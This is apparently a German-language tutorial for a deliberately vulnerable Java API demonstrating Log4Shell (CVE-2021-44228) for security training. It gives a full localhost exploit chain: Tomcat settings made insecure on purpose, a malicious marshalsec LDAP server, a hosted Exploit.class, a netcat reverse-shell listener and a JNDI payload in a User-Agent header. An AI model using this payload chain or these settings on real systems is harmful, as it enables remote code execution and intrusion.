
Eine angreifbare, auf Java basierende REST-API zur Demonstration von CVE-2021-44228 (Log4Shell).
Eine verwundbare Java-basierte REST-API zur Demonstration von CVE-2021-44228 (Log4Shell).
Log4Shell hat das Internet Anfang Dezember 2021 im Sturm erobert. Eine Zero-Day-Schwachstelle in der Apache-Log4j-Logging-Bibliothek, die Remote Code Execution (RCE) ermöglichte und Organisationen weltweit dazu zwang, ihre öffentlich zugänglichen Java-Anwendungen zu reparieren, zu patchen oder zu entschärfen. Während die InfoSec-Community zusammenkam, um Sicherheitsteams eine fortlaufende Analyse und Lösungen zu bieten, war die Log4j-Community damit beschäftigt, Patches zu entwickeln, um dieser Schwachstelle ein Ende zu setzen.
Ich habe diese einfache verwundbare REST-API entwickelt, die den Weg zur Remote Code Execution (RCE) durch die Ausnutzung dieser Schwachstelle mithilfe des Apache-Tomcat-Anwendungsservers demonstriert. Ich hoffe, dass dieses Proof of Concept genutzt werden kann, um Ihre SecOps-Teams zu schulen oder aktuelle und zukünftige Anwendungsentwickler zu sensibilisieren. Schulen Sie Ihre Teams und verbessern Sie Ihre Verteidigung, einschließlich, aber nicht beschränkt auf, SIEM-Regeln/-Alarme, EDRs und SOARs.
Um den Arbeitsablauf dieses Angriffs zu verstehen, werfen Sie einen Blick auf diese Grafik des Schweizerischen Computer Emergency Response Teams GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Dieses Tutorial und der Quellcode dienen ausschließlich Bildungs- und Schulungszwecken. Bitte verwenden Sie es ethisch und verantwortungsbewusst. Dieses Tutorial wurde unter der Annahme erstellt, dass sich der Angreifer und die verwundbare Anwendung auf demselben Computer befinden. Für eine realistischere Erfahrung verteilen Sie die Architektur und führen Sie die verwundbare Anwendung auf einem eigenen Server aus und verwenden Sie etwas wie Kali Linux oder eine andere Distribution, um den Angreifer zu simulieren.
Legen wir los.
Sobald Sie Java JDK und Maven installiert haben, wechseln Sie – vorausgesetzt Sie verwenden eine Linux-Distribution – in das Verzeichnis Ihrer vuln4japi-Installation und bauen Sie Ihr Projekt.
Hinweis: Sie möchten möglicherweise bestimmte Komponenten der App ändern, bevor Sie sie bauen. Beispielsweise können Sie den Pfad zu den Log4j-Logs in der log4j2.xml-Datei ändern. Oder Sie möchten den Namen der resultierenden WAR-Datei in der pom.xml-Datei ändern. Es liegt ganz bei Ihnen.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Wenn Sie keine Build-Fehler sehen, sollten Sie ein neu erstelltes target-Verzeichnis mit Ihrer vuln4japi.war-Datei haben. Okay, wir kommen später auf diese Datei zurück. Werfen wir einen kurzen Blick auf Tomcat.
Abhängig von Ihrer Version von Java 8 kann diese spezielle Einstellung (com.sun.jndi.ldap.object.trustURLCodebase) in späteren Versionen von 8 auf false gesetzt sein. Dies verhindert effektiv, dass JNDI eine entfernte Codebasis über LDAP lädt. Genau das nutzt diese Schwachstelle aus. Daher müssen wir die catalina.properties-Datei von Tomcat ändern, um diese Systemeinstellung auf True zu setzen und Tomcat absichtlich verwundbar zu machen.
Sobald Sie apache-tomcat-8.0.32.tar.gz für Linux heruntergeladen haben, entpacken Sie es irgendwo, z. B. in das /opt-Verzeichnis.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Wechseln Sie in das Verzeichnis /conf und ändern Sie catalina.properties am Ende der Datei.
Hinweis: Verwenden Sie Ihren bevorzugten Texteditor. Ich verwende in diesem Beispiel vim.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# fügen Sie die folgenden Systemeigenschaften ganz am Ende hinzu
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Beenden Sie Ihren Texteditor und starten Sie Tomcat mit dem Skript catalina.sh im Verzeichnis /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Testen Sie Ihre Apache-Tomcat-Instanz, indem Sie zu http://localhost:8080/ navigieren oder einen einfachen cURL-Befehl über die Befehlszeilenschnittstelle ausführen.
curl -vv http://localhost:8080/
Wenn Sie eine Willkommensseite in Ihrem Browser oder Terminal sehen, sollte es funktionieren. Jetzt können wir unsere verwundbare App bereitstellen.
Kopieren Sie Ihre .war-Datei in das Verzeichnis /webapps von Tomcat. Tomcat stellt Ihre Anwendung innerhalb von Sekunden per Hot-Deploy bereit.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Testen Sie Ihre verwundbare App, indem Sie zur App-URL navigieren oder erneut cURL über die Befehlszeile verwenden. Im Browser: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Sie sollten die folgende Meldung sehen: Hi, this is a Vulnerable App!!
Da wir nun einige Komponenten zum Laufen gebracht haben, lassen Sie uns dieses Ding ausnutzen...
Das Marshalsec-Projekt ist eine hervorragende Ressource, um diese Art von Angriff im Detail zu verstehen. Im Wesentlichen fungiert es als bösartiger LDAP-Server, der jede Anfrage an einen bösartigen Webserver weiterleitet, der die .class-Datei hostet. Ich empfehle dringend, einige der auf mbechlers Github-Repo veröffentlichten Dokumentationen zu lesen, bevor Sie Marshalsec verwenden: https://github.com/mbechler/marshalsec
Wenn Sie sich entscheiden, die technischen Details und die Dokumentation zu überspringen, klonen Sie dieses Repository und wechseln Sie in dessen Verzeichnis. Bevor Sie dieses Java-Projekt bauen, empfehle ich, eine einzeilige Debug-Anweisung in der Datei LDAPRefServer.java hinzuzufügen. Diese Print-Anweisung ist nützlich, wenn Sie die LDAP-Abfrage vom verwundbaren Server erfassen.
Bearbeiten Sie mit Ihrem bevorzugten Texteditor die folgende Datei und fügen Sie die Zeile wie im Codeblock unten gezeigt in der Methode processSearchResult() hinzu.
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// fügen Sie diese Zeile hinzu, um die vollständigen Anforderungsinformationen anzuzeigen
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Sobald Sie die Datei geändert haben, speichern und beenden Sie Ihren Texteditor. Jetzt sollten Sie in der Lage sein, das Marshalsec-Projekt mit Maven zu bauen. Wechseln Sie zurück zum Stammverzeichnis des Marshalsec-Ordners und führen Sie Maven aus.
mvn clean package -DskipTests
Wenn keine Build-Fehler auftreten, sollten Sie das neu erstellte Verzeichnis /marshalsec/target mit der Datei marshalsec-0.0.3-SNAPSHOT-all.jar sehen.
Lassen Sie uns den Rest unserer Angreifer-Tools einrichten, bevor wir unseren bösartigen Marshalsec-LDAP-Server ausführen.
Wechseln Sie in den exploitz-Ordner und kompilieren Sie die enthaltene Datei Exploit.java.
javac Exploit.java
Wenn Sie keine Fehler erhalten, sollten Sie eine Datei Exploit.class haben.
Das sollte genügen. Sie sollten alles kompiliert haben, was Sie benötigen, und der Webserver läuft. Wiederum, vorausgesetzt Sie führen diesen Test auf einem Linux-Server aus, öffnen Sie mindestens 5 Terminalfenster.
Terminal 1: Führen Sie Marshalsec aus
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminal 2: Wechseln Sie in das xploitz-Verzeichnis, in dem sich Ihre Exploit.class befindet, und führen Sie einen lokalen Python-Server aus.
python3 -m http.server 8081
Terminal 3: Verfolgen Sie Ihre Datei /tmp/logs/vuln4jpi_log4j.log mit tail, um die Anfragen an Ihre verwundbare App zu beobachten.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminal 4: Öffnen Sie einen Netcat-Listener auf Port 8001. Dies wird natürlich die Reverse-Shell-Verbindung vom selben Host sein. Denken Sie daran, wir führen dies alles auf demselben Host aus. Für eine reale Erfahrung versuchen Sie, 2 oder 3 verschiedene Computer zu verwenden.
nc -lv 8001
Terminal 5: Senden Sie Ihren Payload mit einem einfachen cURL-Befehl.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Wenn alles wie erwartet funktioniert, sollten Sie eine Shell an Ihren Netcat-Listener auf Port 8001 weitergeleitet bekommen. Überprüfen Sie alle Ihre Terminalfenster und beobachten Sie das Verhalten in jedem einzelnen, um nach Tippfehlern oder Syntaxfehlern zu suchen. Hier passiert viel, daher sind menschliche Fehler immer im Spiel. Führen Sie es ein paar Mal aus, bis Sie es beherrschen. Möglicherweise müssen Sie den Quellcode ein wenig ändern, aber hey, so lernen wir. ;-)
Ich hoffe, Sie haben genauso viel Freude beim Lernen aus diesem Projekt wie ich beim Zusammenstellen. Finden Sie mich auf Twitter unter @offswitchsec, wenn Sie Feedback oder Kommentare haben. Viel Spaß und Happy Hacking!